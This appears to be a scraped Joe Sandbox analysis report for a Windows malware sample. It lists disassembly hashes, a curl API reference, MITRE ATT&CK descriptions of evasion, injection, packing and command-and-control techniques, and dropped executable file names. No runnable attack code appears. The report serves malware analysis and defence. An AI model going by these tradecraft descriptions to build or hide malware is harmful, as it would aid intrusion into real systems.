Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID:
String ID: Basic$Digest
API String ID: 0-92475756
Opcode ID: 79db6737445f77a562dde93b345a7ee7830d7203c3f2eeaf2b969a3c82fa5980
Instruction ID: 87671d5bc411cfd915f28568061d5401df0db982b202893d4fe902422d648782
Opcode Fuzzy Hash: 79db6737445f77a562dde93b345a7ee7830d7203c3f2eeaf2b969a3c82fa5980
Instruction Fuzzy Hash: 1A3168B0B10305AEDB248B18CE42BF77BA4FB11304F10414BE895DB241D7B968E2C75A

Function 00403BB1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

curl_maprintf.YX1WZ608PO(%s:%d), ref: 00403BBE

Strings

%s:%d, xrefs: 00403BB9

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintf
String ID: %s:%d
API String ID: 3307269620-1029262843
Opcode ID: 1abc0804799a6590aab45403f45674484cf844b62a7c18b668fcea70fbd214ce
Instruction ID: ffeef57641a9eff80f18aedd6da1fdd1eddae17966d27eadbab8b53927b44b4d
Opcode Fuzzy Hash: 1abc0804799a6590aab45403f45674484cf844b62a7c18b668fcea70fbd214ce
Instruction Fuzzy Hash: 85E0D895E082242AAF2039AE2C425B37FACC4526ADB4401F7FC58DB343F05AAE5501FB

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Yx1Wz608PO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe

C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe

C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe

C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe

C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe

C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe

C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe

C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe

C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe

C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe

C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe

C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe

C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe

C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe

C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe

C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe

C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe

C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe

C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe

C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe

C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe

C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe

C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe

Windows Analysis Report
Yx1Wz608PO.exe